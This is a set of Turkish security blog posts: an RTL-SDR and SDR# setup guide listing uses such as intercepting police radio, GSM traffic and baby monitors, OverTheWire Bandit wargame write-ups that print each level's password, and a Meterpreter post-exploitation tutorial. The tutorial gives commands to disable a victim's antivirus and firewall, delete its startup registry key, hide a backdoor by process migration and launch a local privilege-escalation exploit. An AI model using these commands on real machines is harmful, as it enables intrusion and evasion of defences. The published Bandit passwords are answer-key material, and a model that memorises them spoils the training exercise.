Bu sekme, size gelen ve sizden giden sinyallerin seslerini kayda almanızı sağlar. Sample format seçeneği ile kayıt kalitesini tercih edebilirsiniz. RTL-SDR sadece 8 bit olduğundan en düşük 8 bit PCM seçeneğini seçebilirsiniz. Bu da bize önemli miktarda disk alanı kazandırır. Baseband işaretlenerek I/Q kaydı, yani giren ve çıkan sinyallerin söz konusu frekans aralığındaki hareketinin kaydı yapılabilir. Audio ise ses kaydı yapar. Baseband seçeneği ile diskte çok daha fazla yere ihtiyaç olacağını unutmayın. Kaydedilen tüm dosyalar SDR# dosyaları ile aynı klasörde saklanır.

FREQUENCY MANAGER TAB

SDR# ile bir frekans yakaladınız ve onu kaydetmek istiyorsunuz diyelim. Bu durumda frequency manager tab size frekansları veri tabanına kaydetmenizi sağlar. New butonuna basarak veri tabanına yeni frekans eklenir ve isimlendirilir. Daha sonra bunların üzerinde değişiklik yapabilir veya silebilirsiniz. Aynı zamanda frekans eklerken grup ismi de belirterek elinizdeki frekansları gruplandırmanız mümkün.

CONFIGURE WINDOW

Device: Takılı birden fazla cihaz varsa bu menüden kullanacağınız cihazı seçmeniz mümkün.

Sample Rate: (2.048 veya 2.4 MSPS) SDR’nin görüntülemesi gereken anlık bant genişliğinin boyutunu seçmenizi sağlar. 2.8 MSPS’ye kadar çoğu bilgisayar sorunsuz çalışır ancak bilgisayarınızın donanımı zayıfsa bunu azaltmayı tercih edebilirsiniz. Bu değeri arttırmak, zayıf sinyallerde alımı iyileştirebilir.

Sampling Mode: (Quadrature Sampling)

Offset Tuning: (OFF IF R820T/2, ON IF E4000/FC0012/13)

RTL AGC: (OFF) Bu ayarın açılması normalde kullanışlı değildir çünkü alımı alçaltır.

Tuner AGC: (OFF) Genel tarama için bu ayarı açmak faydalı olabilir ancak kapalı olması daha faydalı olacaktır. RF GAIN seçeneği ile ayar yapmak her zaman daha iyidir.

RF GAIN: RF kazancını manuel ayarlamanızı sağlar, Tuner AGC aktif ise aktif olmayacaktır.

Frequency Correction (PPM): Frekans kaymalarını düzeltmenizi sağlar.

SDRSharp ve uygun maliyette temin edeceğiniz RTL-SDR ile kapsamlı bir sigint çalışması yapmak mümkün. Daha fazla donanım ve kaynak için https://www.rtl-sdr.com/ adresini ziyaret edebilirsiniz. İlerleyen zamanda yeni donanımları ve yazılımları da inceleyeceğiz.

Kategoriler
Siber Güvenlik

SIGINT Serisi 1: RTL-SDR ve SDR# Kullanımı

Software Defined Radio (SDR) Nedir?

Geleneksel radyo donanımları, radyo sinyallerinin şifresini çözmek ve işlemek için gerekli matematiksel işlemleri, analog devre kullanarak gerçekleştirir. Ancak günümüzde bilgisayarlar, doğru yazılımlarla bu hesaplamaları oldukça hızlı bir şekilde halledebiliyor. Bu gelişmeler, analog radyolara da etki etmiş ve SDR tanımı ortaya çıkmış. Yani yazılım destekli radyo. Başlarda gelişmiş telsizler ile donanım odaklı yapılan bu işlemler, bugün geniş bant ayarı ve şelale ekranları gibi özelliklerle beraber çok daha uygun maliyetlere yapılabilmekte.

RTL-SDR nedir?

İçinde RTL2832U çipine sahip seri olarak üretilen DVB-T TV (Dijital HD TV) USB alıcı dongle’larına bağlanan oldukça ucuz bir yazılım tanımlı telsizdir. Dongle kelimesini de laf arası açıklayalım, USB portlarınıza bağlanan tüm cihazlar dongle olarak adlandırılır. Ve yazının devamında da bu kavramı sıkça kullanacağım. Bu cihazlar esasında bizim uygulamalarımız için yapılmış şeyler değil. Bildiğimiz televizyon alıcısı. 2012 yılında donanım odaklı hacking konuları ile ilgilenen Eric FLy, Linux sürücüsü geliştirici Antti Palosaari ve Osmocom ekibi bu yongaların geniş bant SDR olarak kullanılmasını sağlayan bir modda olduğunu keşfetti. Yani bu sıradan televizyon alıcıları aynı zamanda SDR işlemleri için de uygundu. Elbette özel SDRler ile bu alıcıların performansı bir değil. Ancak fiyatına oranla bu alıcılar da oldukça güzel işler yapabiliyor ve bu konuya meraklı olanlar için uygun fiyatta bir başlangıç imkanı sunuyor. Diğer yandan yaygın biçimde kullanıldığından büyük bir geliştirme ve yazılımcı desteğini de arkasına almış durumda. Haliyle özgür yazılımlar ve konuya dair dökümanlar kolayca keşfedilebiliyor.

Projelerimiz için çok daha güçlü ve kolay kullanımlı donanımlar var. (HackRF, PandwaRF gibi) Ancak fiyatlarına baktığımızda o kadar da uygun olmayacaktır. Hele ki benim gibi öğrenciyseniz 🙂 Bu durumda RTL2832U şeklinde bir arama ile karşınıza çıkacak bir ürünü almanız daha akıl karı. 15 dolardan daha az bir fiyata ulaşabilirsiniz. Aliexpress’ten bir haftada geldi. Satın almak için şu adrese bir göz atabilirsiniz : http://www.rtl-sdr.com/buy-rtl-sdr-dvb-t-dongles/

Ben ise şuradan aldım : https://tr.aliexpress.com/item/32914826153.html

Aldığınız ürünün bant genişliği 3.2 MHz’ye kadar çıkabilir. Ancak bilgisayarınıza bağlı olarak en fazla 2.4 veya 2.8 MHz’ye kadar çalışabileceksiniz. Peki bu cihaz ne yapıyor? Etrafta dolaşan analog telsiz sinyallerini dijitale çeviriyor ve USB portunuzdan, bilgisayarda kullanıma hazır bir biçimde size iletiyor. Bunu nasıl yapıyor? 2MHz değerindeki bant genişliğindeki yığını alıyor ve işe yarar kısmını dijitale çeviriyor. Aşağıdaki görselde daha anlaşılır bir şekilde gösteriliyor. Yeşil kısım bizim dinlediğimiz kısım.

Peki ilk akla gelen uygulamalar neler?

  • Şifrelenmemiş Polis/ Ambulans / İtfaiye / Askeriye gibi telsiz konuşmalarını dinlemek
  • Uçak-kule ve diğer konuşmaları dinlemek
  • Radar kullanan uçak ve gemi gibi taşıtların konumlarını öğrenmek
  • GSM görüşmeleri ve SMS’leri takip etmek
  • Bebek monitörleri ve kablosuz telefonları dinlemek
  • Amatör telsiz konuşmalarını dinlemek
  • FM radyo ve televizyon yayınlarını takip etmek
  • Uyduları ve ISS’yi dinlemek

Yapılabilecekler listesini gerçekten birkaç kat uzatabiliriz. Ancak ben en cezbedici olanları listeme aldım.

SDRSharp’a Cihazı Nasıl Entegre Edeceğim?

Peki, sık kullanacağımız bir programdan bahsedelim: SDRSharp (SDR# olarak da yazabilirsiniz fark etmez.) Bunun için Windows bilgisayar ihtiyacımız olacak. XP ve sonrası olacak. Aynı zamanda USB 2.0 ve üstü bir girişiniz olmalı. Eh, bunlara sahip olmamanız pek olası değil sanıyorum. Yine de Linux severler için farklı yazılımlara daha sonra değineceğim.

Şuradan Windows SDR Software Package seçeneğini seçip indirebilirsiniz : https://airspy.com/download/

İndirdiğiniz dosyayı zipten çıkartarak bir klasör haline getirin ve install.bat dosyasını çalıştırın. Bu bat dosyası, SDRSharp ve RTL-SDR cihazınızla çalışmaya başlamanız için gerekli tüm dosyaları indirecek bir komut çalıştıracak, sonrasında da komut penceresini otomatik kapatacak.

Kurulum kısmı tamam. Şimdi RTL-SDR cihazımızı da olaya dahil edelim. Yukarıdaki işlemden sonra zadig.exe isminde bir dosya oluşmuş olmalı. Cihazla beraber gelen CD’yi umarım kullanmamışsınızdır. Çünkü o driver işimize yaramayacak. Kurdunuz ise kaldırın ve zadig.exe’yi çalıştırın. Daha sonra options kısmından List All Devices diyerek mevcut cihazınızı listeleyin.

Daha sonra açılır menüden “Bulk-In, Interface (Interface 0)” seçeneğini seçin. Her şey tamamsa Install Driver’a (replace olarak da geçebilir) basın. Kısa bir süre sonra driver meselesi de hallolmuş olacak. (Bazı PC’lerde, RTL2832UHIDIR veya RTL2832U gibi, bir seçenek görebileceğinizi unutmayın. Bu da geçerli bir seçimdir). (“Bulk-In, Interface (Interface 1)” veya “USB Receiver (Interface 0)” seçmeyin). Windows güncellemeleri esnasında sıkıntı yaşayabilirsiniz. Bu durumda tekrar driverı yüklemeyi deneyin.

Tamamdır kurulum işleri ile şimdilik işimiz bitti. SDRSharp.exe’yi çalıştırın. Source kısmından “RTL-SDR / USB” seçeneğini seçin.

Daha sonra oynat düğmesine basarak havada olan bitenleri toplamaya başlayabilirsiniz. Şimdi, basit bir test yapıp FM radyo yayınlarını dinleyelim. Bildiğiniz, şu müzik çalan radyo kanalları… 88MHz ile 108 MHz arasındaki istasyonları bir araştırın. Sol üst kısımdan WFM modunu seçin. Eğer güzel de bir müzik duyduysanız cihazın çalışır olduğundan emin olabilirsiniz.

Kategoriler
Siber Güvenlik

Bandit WriteUP – Part:2

Daha önce yarısına geldiğimiz sinir makine banditi çözmeye devam edelim.

Önceki çözümleri okumak için: https://caglar-celik.com/siber-guvenlik/bandit-writeup-part1/

bandit15

Bir sonraki seviyeye ait anahtar, mevcut seviyenin anahtarının, SSL şifrelemesi kullanılarak localhost’taki port 30001’e göndererek alınabilir.

Çözüm için kullanabileceğiniz komutlar:

ssh, telnet, nc, openssl, s_client, nmap

Yardımcı Kaynaklar

Çözüm:

Openssl ile localhosta bağlanıyorum. Bu bölüme giriş yaptığım anahtarı vererek sonraki seviyeye ulaşıyorum.

openssl s_client -quiet -connect localhost:30001

Flag: [vurgu color=”#dd3333″]cluFn7wTiGryunymYOu4RcffSxQluehd[/vurgu]

bandit16

Bir sonraki seviyeye ait anahtar, mevcut seviyenin anahtarının, SSL şifrelemesi kullanılarak localhost’taki port 30001’e göndererek alınabilir.

Çözüm için kullanabileceğiniz komutlar:

ssh, telnet, nc, openssl, s_client, nmap

Yardımcı Kaynaklar

Çözüm:

Sırf chmod olayını bilmediğim için acı çektiğim soru. Önce, hangi portta SSL mevcut bulmak için bir nmap taraması atıyorum. Ve aradığımı da buluyorum. 31790 portundan giriş yapabilirim.

nmap -sV -sT localhost -p 31000-32000

Daha sonra openssl ile bağlanmayı deniyorum ve beni bir key karşılıyor.

Aslında bütün olay bu kadardı. Daha sonra kendi makinenize bu keyi kopyalıyorsunuz ve bu key ile sonraki soruya bağlanmayı deniyorsunuz. Ben uzun süre makine içinde yazma izni olan yer aradım durdum, haliyle bulamadım ve sonra çark etti 🙂 Ancak o da hata verecektir. Bu durumda da key dosyanızın izinlerini değiştirmelisiniz.

chmod 600 private.key

ssh [email protected] -p 2220 -i private.key

Flag: [vurgu color=”#dd3333″]Karşı makineden aldığınız private key[/vurgu]

bandit17

Ana dizinde iki dosya yer alıyor. Bir sonraki seviyeye ait anahtar password.new içerisinde yer alıyor ve password.new ve password.old arasındaki farkı bulmanız gerekiyor.

Not: “byebye” mesajı ile karşılaşırsanız bu seviyeyi geçtiniz demektir. Ancak bu seviye, bandit19 ile alakalı.

Çözüm için kullanabileceğiniz komutlar:

cat, grep, ls, diff

Çözüm:

İki dosyayı karşılaştırıp farklı olan satırı bulmam gerekiyor. Bunun için diff kullanıyorum. Ortaya çıkan ilk satır benim anahtarım oluyor.

Flag: [vurgu color=”#dd3333″]kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd[/vurgu]

bandit18

Bir sonraki seviyeye ait anahtar, ana dizindeki readme dosyası içerisinde. Ancak .bashrc dosyası, bir ssh bağlantısı yapıldığında oturumu kapatması için ayarlandı.

Çözüm için kullanabileceğiniz komutlar:

ssh,ls,cat

Çözüm:

Evet, giriş yaptığımda bağlantı kopuyor ancak ben de başka bir çözüm bulurum. SSH bağlantısı ile beraber readme dosyasının içini okurum.

Flag: [vurgu color=”#dd3333″]IueksS7Ubh8G3DCwVzrTd8rAVOwq3M5x[/vurgu]

bandit19

Bir sonraki seviyeye erişmek için, ana dizindeki setuid binary değerini kullanmalısınız. Nasıl kullanılacağını bulmak için argümanlar olmadan yürütün. Setuid ikilisini kullandıktan sonra, bu seviye için şifre  (/ etc / bandit_pass) bulunabilir.

Yardımcı Kaynaklar:

Çözüm:

bandit20-do isminde bir dosya var. Bu dosya çalıştırılabilir binary dosyası ancak erişmek için setuid değeri ile oynamam gerekiyor. Soru karşıma çıkana kadar ben de bilmiyordum ancak yardımcı kaynak ve internetteki diğer kaynaklara bakarak olayı anladım. Daha sonra soruda da verilen dosyayı setuid değeri olarak okutuyorum. Sonraki seviyenin anahtarı karşıma çıkıyor.

Flag: [vurgu color=”#dd3333″]GbKksEFF4yrVs6il55v6gwY5aVje5f0j[/vurgu]

bandit20

Ana dizindeki binary dosyası şunları yapıyor:

Localhostta belirtilen bağlantı noktası ile bağlantı kurar. Daha sonra bağlantıdan gelen metin satırını okur ve bunu önceki seviyenin anahtarı ile karşılaştırır. Eğer verilen anahtar doğru ise sonraki seviyeye ait anahtarı verir.

Çözüm için kullanabileceğiniz komutlar

ssh, nc, cat, bash, screen, tmux, Unix ‘job control’ (bg, fg, jobs, &, CTRL-Z, …)

Çözüm:

içeride suconnect isminde bir dosya var. ./suconnect dediğimde localhost üzerinde açılan bir porttan bağlanılması gerektiği ve diğer taraftan doğru anahtar gelirse yeni anahtarı vereceğini söylüyor. Ben de yeni bir SSH bağlantısı yapıp nc -l -p 12345 komutu ile 12345 portunu açıyorum. Önceki bağlantımdan ise ./suconnect 12345 yazarak bağlantıyı sağlıyorum. Yeni bağlantıya tekrar geçip önceki bölümün anahtarını gönderiyorum ve yeni anahtar karşıma çıkıyor. Kabul ediyorum biraz karışıktı. Ancak ekran görüntüleri ile daha anlaşılır olacak.

Flag: [vurgu color=”#dd3333″]gE269g2h3mw3pwgrj0Ha9Uoqen1c9DGr[/vurgu]

bandit21

Bir program, zamana bağlı iş zamanlayıcısı olan cron’dan düzenli aralıklarla otomatik olarak çalışıyor. Yapılandırma için /etc/cron.d/ adresine bakın ve hangi komutun yürütülmekte olduğunu görün.

Çözüm için kullanabileceğiniz komutlar

cron, crontab, crontab(5) (use “man 5 crontab” to access this)

Çözüm:

etc/cron.d dizinine gidiyorum ve içindekileri listelediğimde cronjob_bandit22 isminde bir dosya görüyorum. Onun da içini okuduğumda usr/bin dizininde cronjob_bandit22.sh isminde bir dosyaya yönlendiriyor. O dosyanın içini okuduğumda da /tmp dizininde t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv isminde bir dosyaya yönlendiriyor. E onu da okuduğumda anahtar karşımda.

Flag: [vurgu color=”#dd3333″]Yk7owGAcWjwMVRwrTesJEwB7WVOiILLI[/vurgu]

bandit22

Bir program, zamana bağlı iş zamanlayıcısı olan cron’dan düzenli aralıklarla otomatik olarak çalışıyor. Yapılandırma için /etc/cron.d/ adresine bakın ve hangi komutun yürütülmekte olduğunu görün.

Çözüm için kullanabileceğiniz komutlar

cron, crontab, crontab(5) (use “man 5 crontab” to access this)

Çözüm:

Yine etc/cron.d dizinine gidiyorum ve içindekileri listelediğimde cronjob_bandit23 isminde bir dosya görüyorum. Onun da içini okuduğumda usr/bin dizininde cronjob_bandit23.sh isminde bir dosyaya yönlendiriyor. Dosya içini okuduğumda bash scriptin neler yaptığını anlıyorum.

Scripti bir de çalıştırıp görmek istedim. $myname bandit22 olarak çıkıyor. (whoami komutu ile almıştık)Tmp içinde bir dosya oluşturuyor Tmp içinde bir dosya oluşturuyor  ve  “I am user bandit22” metnini md5 ile şifreleyerek o dosyanın adı olarak belirliyor.

Oluşan dosyayı okuduğumda bandit22’ye ait anahtarı alıyorum.E o zaman myname kısmı yerine bandit23 yazarsam onun anahtarına erişebilirim belki.

Flag: [vurgu color=”#dd3333″]jc1udXuA1tiHqjIsL8yaapX5XIAI6i0n[/vurgu]

Kategoriler
Siber Güvenlik

Bandit WriteUP – Part:1

Bandit WriteUP Part 2’yi de okumak isterseniz: https://caglar-celik.com/siber-guvenlik/bandit-writeup-part2/

Makine adresi: http://overthewire.org/wargames/bandit/

Terminal kullanmaya yönelik olan, bu makinede 34 aşama bulunuyor. Size terminal komutlarını öğretmek ve sinir bozucu hatalarda ne yapacağınızı öğretmek için oluşturulmuş. Biz çözerken oldukça eğlendik. Basit bir SSH bağlantısı ile başlıyoruz. Her bulduğumuz MD5 hashi, diğer SSH bağlantısının parolası oluyor. Takıldığınız yerlerde web sitesinden ip uçlarını okuyabilirsiniz, kullanabileceğiniz komutlara dair ipuçlarına erişebilirsiniz. “bandit0” ile ilk ssh bağlantımızı yaparak durumu kavrayalım.

bandit0

Amaç oyuna giriş yapmak. bandit.labs.overthewire.org adresine bandit0 kullanıcı adı ve bandit0 parolası ile giriş yapacağız. SSH portu 2220.

Çözüm için kullanabileceğiniz komutlar:

ssh

Yardımcı Kaynaklar

Çözüm:

ssh [email protected] -p 2220 komutundan sonra parola için bandit0 yazıyoruz ve makineye bağlanıyoruz. Sonrasında readme içerisindeki MD5 hashi bize bandit1 için giriş anahtarımızı veriyor.

Flag: [vurgu color=”#dd3333″]boJ9jbbUNNfktd78OOpsqOltutMc3MY1[/vurgu]

bandit1

Bir sonraki seviyeye geçmek için kullanacağınız anahtar – isimli dosyada bulunuyor.

Çözüm için kullanabileceğiniz komutlar:

ls, cd, cat, file, du, find

Yardımcı Kaynaklar

Çözüm:

Dosya ismi – (tire) olan bir dosya var. MD5 hashi de içinde. E şahane cat – der hemen dosya içine bakarım. Ama işte gelin görün ki bilgisayarlar o kadar da akıllı makineler değil. Siz tire işaretini kullandığınızda cat komutunun devamına bir parametre girmeniz bekleniyor. E madem öyle, ben de önceki dizine giderim oradan dosyayı okurum dedim. Başarılı da oldu.

Flag: [vurgu color=”#dd3333″]CV1DtqXWVFXTvM2F0k09SHz0YwRINYA9 [/vurgu]

bandit2

Bir sonraki seviyeye geçmek için kullanacağınız anahtar “spaces in this filename” isimli dosyada bulunuyor.

Çözüm için kullanabileceğiniz komutlar:

ls, cd, cat, file, du, find

Yardımcı Kaynaklar

Çözüm:

Bu seferki dosya isminde ise aralarda boşluk bulunuyor. Yani yine cat komutu ile pata küte okuyamıyoruz dosyayı. Onun yerine cat komutundan sonra TAB tuşuna basarak tamamlayabilirsiniz. Diğer yöntem ise her kelimeden sonra aralara ters slash(\) koymak.

Şu şekilde: cat spaces\ in\ this\ filename

 

Flag: [vurgu color=”#dd3333″]UmHadQclWmgdLOKQ3YNgjWxGoRMb5luK[/vurgu]

bandit3

Bir sonraki seviyeye geçmek için kullanacağınız anahtar inhere isimli dizinin içinde bulunuyor.

Çözüm için kullanabileceğiniz komutlar:

ls, cd, cat, file, du, find

Çözüm:

inhere dizininin içinde ls komutu yaptığımızda herhangi bir şey görünmüyor. Ancak ls -la komutu ile dizindeki gizli dosyalara da erişmek mümkün.

Flag: [vurgu color=”#dd3333″]pIwrPrtPN36QITSp3EQaw936yaFoFgAB[/vurgu]

bandit4

Bir sonraki seviyeye geçmek için kullanacağınız anahtar, okunabilir olan tek dosyada yer alıyor.

Çözüm için kullanabileceğiniz komutlar:

ls, cd, cat, file, du, find

Çözüm:

Yine gizli dosya… ls -la komutu ile dosyalara göz atıyorum. -file00 ile başlayan bir liste karşılıyor. Önceki dizine geçip file inhere/-file0* komutunu veriyorum. Bu sayede inhere dizini içinde file0 ismi ile başlayan tüm dosyaların dosya tipini görebiliyorum. E bize de okunabilir bir dosya var demişti soruda. O da görüldüğü üzere -file07. Flag onun içinde. İtiraf edeyim ki biz makineyi çözerken tüm dosyaların içini tek tek okuduk. Sonradan ya burada yüzlerce dosya olsaydı sorusu aklıma geldi ve alternatif olarak bu çözümü buldum.

Flag: [vurgu color=”#dd3333″]koReBOKuIDDepwhWk7jZC0RTdopnAYKh[/vurgu]

bandit5

Bir sonraki seviyeye geçmek için kullanacağınız anahtar inhere dizini içerisinde yer alıyor. Dosya execute edilemez, 1033 byte ve insanlar tarafından okunabilir.

Çözüm için kullanabileceğiniz komutlar:

ls, cd, cat, file, du, find

Çözüm:

Madem dosya boyutu 1033 byte, ben de dosya boyutuna göre arama yapabilirim. find -size 1033c komutu ile anahtara ulaşıyorum.

Flag: [vurgu color=”#dd3333″]DXjZPULLxYr17uwoI01bNLQbtFemEgo7[/vurgu]

bandit6

Bir sonraki seviyeye geçmek için kullanacağınız anahtar sunucuda bir yerde saklanıyor. Kullanıcı bandit7, grup bandit6 olan bir dosya ve boyutu 33 byte.

Çözüm için kullanabileceğiniz komutlar:

ls, cd, cat, file, du, find, grep

Çözüm:

Madem sunucuda her yerde olabilir diyor, ben de kök dizine gider ve işleme orada devam ederim (cd .. komutu). Daha sonra find komutu ile user, grup ve boyuta göre arama yapabilirim.

find -size 33c -user bandit7 -group bandit6

Oldukça karışık bir çıktı geliyor. Ancak erişim iznimiz olan tek bir dosya var. İçini okuduğumda yeni anahtarımı almış oluyorum.

./var/lib/dpkg/info/bandit7.password

Flag: [vurgu color=”#dd3333″]HKBPTKQnIay4Fw76bEy8PVxKEDQRKTzs[/vurgu]

 

bandit7

Bir sonraki seviyeye geçmek için kullanacağınız anahtar data.txt dosyasında millionth kelimesinin yanında yer alır.

Çözüm için kullanabileceğiniz komutlar:

grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd

Çözüm:

Gayet basit. Madem millionth yanında yer alıyor ben de millionthnin bulunduğu satırı getiririm.

grep -r millionth

Flag: [vurgu color=”#dd3333″]cvX2JJa4CFALtqS87jk27qwqGhBM9plV[/vurgu]

 

bandit8

Bir sonraki seviyeye geçmek için kullanacağınız anahtar data.txt dosyasında saklanır ve kendini sadece bir defa tekrar eder.

Çözüm için kullanabileceğiniz komutlar:

grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd

Yardımcı Kaynaklar

Çözüm:

Dosyayı okuyup tek tek bakacak olursanız durum facia. Elbette bunun da pratik bir yolu var.

cat data.txt | sort -n | uniq -c

Bu komut ile data.txt dosyasının içindekileri sort komutu ile sıralıyoruz, uniq komutu ile sayıyor ve yanına kaç tane olduğunu yazdırıyoruz. Zaten anahtar olmayan tüm veriler 10 kez tekrarlanmışken esas elemanımız 1 defa tekrarlanmış şekilde karşımıza çıkıyor.

Flag: [vurgu color=”#dd3333″]UsvVyFSfZZWbi6wgC7dAFyFuR6jQQUhR[/vurgu]

bandit9

Bir sonraki seviyeye geçmek için kullanacağınız anahtar data.txt içerisinde okunabilir formatta yer alıyor. “=” işaretinden sonrasına bakmanız yeterli.

Çözüm için kullanabileceğiniz komutlar:

grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd

Çözüm:

Eşittir işaretinden sonrasını görmek için bir arama atmam yeterli oluyor. Ancak bu defa cat komutu kullanamıyorum. Çünkü binary formatında bir dosya ile karşı karşıyayım. Ben de strings komutu ile binary formatındaki dosyaları okuyabiliyorum.

strings data.txt | grep “=”
Flag: [vurgu color=”#dd3333″]truKLdjsbJ5g7yyJ2X2R0o3a5HQJFuLk[/vurgu]

 

bandit10

Bir sonraki seviyeye geçmek için kullanacağınız anahtar data.txt içerisinde base64 formatında.

Çözüm için kullanabileceğiniz komutlar:

grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd

Çözüm:

E adam daha ne desin? Base64 demiş, Şu dosyanın içinde demiş.

Flag: [vurgu color=”#dd3333″]IFukwKGsFW8MOq3IRFqrxE1hxTNEbUPR[/vurgu]

 

bandit11

Bir sonraki seviyeye geçmek için kullanacağınız anahtar, tüm küçük harf (az) ve büyük harf (AZ) harflerinin 13 konumlu döndürüldüğü data.txt dosyasında saklanır.

Çözüm için kullanabileceğiniz komutlar:

grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd

Çözüm:

Hevesimiz kırıldı. Sezar sorulur mu böyle tatlı tatlı terminalle oynarken? Herhangi bir sezar decode aracına gidin ve 13 harf kaydırın. Cevap ortada.

Flag: [vurgu color=”#dd3333″]5Te8Y4drgCRfCx8ugdwuEX8KFC6k2EUu[/vurgu]

 

bandit12

Bir sonraki seviyeye ait anahtar, art arda sıkıştırılmış bir dosyanın hexdump’ı olan data.txt dosyasında saklanır. Bu seviye için, / tmp altında mkdir kullanarak çalışabileceğiniz bir dizin oluşturmak faydalı olabilir. Örneğin: mkdir / tmp / myname123. Sonra cp ile dosyayı kopyalayın ve mv kullanarak yeniden adlandırın.

Çözüm için kullanabileceğiniz komutlar:

grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd, mkdir, cp, mv, file

Çözüm:

Bizi sinir eden sorulardan. O kadar çok isim değiştirmemiz gerekti ki…

Öncelikle data.txt dosyasını tmp dizininde oluşturduğum zindik dizinine taşıdım. Daha sonrasında bu hexadecimal dosyayı tersine çevirmek için “xxd” isimli aracı kullandım.(Ben başka bir şekilde çevirdim ancak daha sonra araştırdığımda xxd’nin daha kolay olduğunu gördüm.) Daha sonra oluşan dosyanın türüne baktım. Ondan sonrası tam arap saçı. Dosya türüne göre dosya adını değiştirip sıkıştırılmış dosyadan çıkartıyoruz. Sonra tekrar dosya türüne bakıp başa sarıyoruz. Ta ki ASCII dosyasına erişene kadar.

Flag: [vurgu color=”#dd3333″]8ZjyCRiBWFYkneahHwxCv3wb2a1ORpYL[/vurgu]

bandit13

Bir sonraki seviyeye ait anahtar,  / etc / bandit_pass / bandit14 içinde saklanır ve sadece kullanıcı bandit14 tarafından okunabilir. Bu seviye için bir sonraki anahtarı alamazsınız, ancak bir sonraki seviyeye giriş yapmak için kullanılabilecek özel bir SSH anahtarı alırsınız.

Not: localhost , üzerinde çalıştığınız makineyi ifade eden bir ana bilgisayar adıdır.

Çözüm için kullanabileceğiniz komutlar:

ssh, telnet, nc, openssl, s_client, nmap

Çözüm:

Makineye baktığımda bir ssh dosyası görüyorum. İpucundan da yola çıkarak bandit14 için SSH bağlantısı yapıyorum.

Daha sonra bağlandığım makinede, soruda verilen dosyayı okuyorum ve cevaba ulaşıyorum. Hepsi bu.

 

Flag: [vurgu color=”#dd3333″]4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e[/vurgu]

bandit14

Bir sonraki seviyeye ait anahtara erişmek için localhosttaki 30000’e bağlanıp bu bölümün parolasının girilmesi gerekiyor.

Çözüm için kullanabileceğiniz komutlar:

ssh, telnet, nc, openssl, s_client, nmap

Çözüm:

Zaten soruda verileni uygulayınca iş çözülüyor.

Flag: [vurgu color=”#dd3333″]BfMYroe26WYalil77FoDi9qh59eK5xNr[/vurgu]

Kategoriler
Linux Metasploit Siber Güvenlik

Meterpreter ile Post Exploitation 2

Geçen hafta hazırladığım Meterpreter ile post exploitation evresini tek yazıya sığdırmam pek de mümkün değildi. Bu hafta seriye devam edeceğim. Bu yazıda ağırlıklı bulunan aşamalar ise, yetki yükseltme, kalıcılığı sağlama ve kullanıcıya yakalanmama süreçleri olacak. 

Antivirüs ve Firewall Kapatma

Post exploitation aşamasında, antivirüsler durumu fark edip sıkıntı yapabiliyorlar. Bu durumda makineye girmişken kaybetmek olmaz. Antivirüsleri ve firewalları saf dışı bırakmamız gerekiyor.

getcountermeasure

meterpreter > run getcountermeasure -d -k
[*]Running Getcountermeasure on the target...
[*]Checking for countermeasure...
[*]Getting Windows Bilt in Firewall configuration...
...snip...

Firewall ve antivirüsleri devre dışı bırakmak için kullanılan bu scriptte, [vurgu color=”#dd3333″]-d[/vurgu] parametresi firewalları, [vurgu color=”#dd3333″]-k[/vurgu] parametresi ise antivürsleri devre dışı bırakır. Ancak çoğu antivirüs için yeterli bir çözüm olmadığını bilmemiz iyi olacak. Shell komutu ile komut penceresine erişelim. Söz konusu antivirüsün processini bulmamız gerekiyor. ps komutu ile göz atabilirsiniz. Ancak daha pratik bir yolu var.

Tasklist /SVC | find /I “avg” = avg

Bu şekilde anahtar kelime üzerinden processler üzerinde arama yapabiliriz. Daha sonra bulduğumuz processi devre dışı bırakmayı deneyeceğiz.

sc config avgwd start= disabled

taskkill /F /IM “avg*”

Yukarıda önce avgwd processini devre dışı bırakmayı denedik. Çalışmaması halinde sonraki satırda yer alan komutla avg ile başlayan tüm processleri kapatmayı deneyebiliriz. Bunlar da işe yaramazsa bir şansımız daha var: Regedit üzerinde değişiklik yapmak. Öncelikle söz konusu dizindeki kayıtları listeleyelim. Daha sonra AVG_UI gibi, antivirüs ismine göre bir kayıt bulmanız olası.

reg enumkey -k HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run

Bu durumda o kaydı silmek bizim işimizi çok kolaylaştıracaktır. Bu defa deleteval kullanarak -v parametresi ile kayıt ismini veriyoruz ve kaydı kaldırıyoruz. Kayıtlara tekrar baktığınızda muhtemelen kayıt artık orada olmayacaktır. 

reg deleteval -k HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run -v AVG_UI

Yetki Yükseltme İşlemi

Migrate

Sistemdeki diğer processlere, elimizdeki backdoorumuzu yapıştırabiliriz. Bu durumda kullanıcı, görev yöneticisine baktığında, olağan dışı bir durum görmeyecektir. Fakat bizim yapıştığımız sıradan process, çalıştığı müddetçe, biz de sistemde var olacağız demektir. Bu durumda yapışmak için seçtiğimiz process de önemli diyebiliriz. Diğer mesele ise, söz konusu processin yetkisi dahilinde işlem yapma şansımız olacak demektir. Sınırlı yetkilere sahipken, bu yöntemle yetki yükseltme işlemi yapabiliriz. Aksi de mümkün ancak bu çok da mantıklı olmayacaktır 🙂

ps komutu ile porcesslere bakalım. Backdoorumuz da listede bulunacaktır. Daha sonra bulaşmak istediğimiz processi belirleyelim ve onun [vurgu color=”#dd3333″]PID[/vurgu] değerini alalım. Sonrasında ise geriye şu komutu yazmak kalıyor:

meterpreter > migrate <PID>
[*] Migrating from 415 to 680…
Migration completed succesfully.

Local Exploit

Sistemde yetki yükseltme aşamasında local exploitlerden de faydalanabiliriz. Söz konusu exploitleri metasploit üzerinden aramak mümkün. Bundan sonrasında devam edeceğimiz örnek Windows XP,  7 gibi versiyonlarda çalışırken 8 ve 10 üzerinde çalışmıyor. Exploiti seçtikten sonra info diyerek hangi sistemlerde çalışabildiğini görebilirsiniz.

msf exploit(handler) > use ecploit/windwos/local/ppr_flatten_rec

msf exploit(ppr_flatten_rec) > set SESSION 1

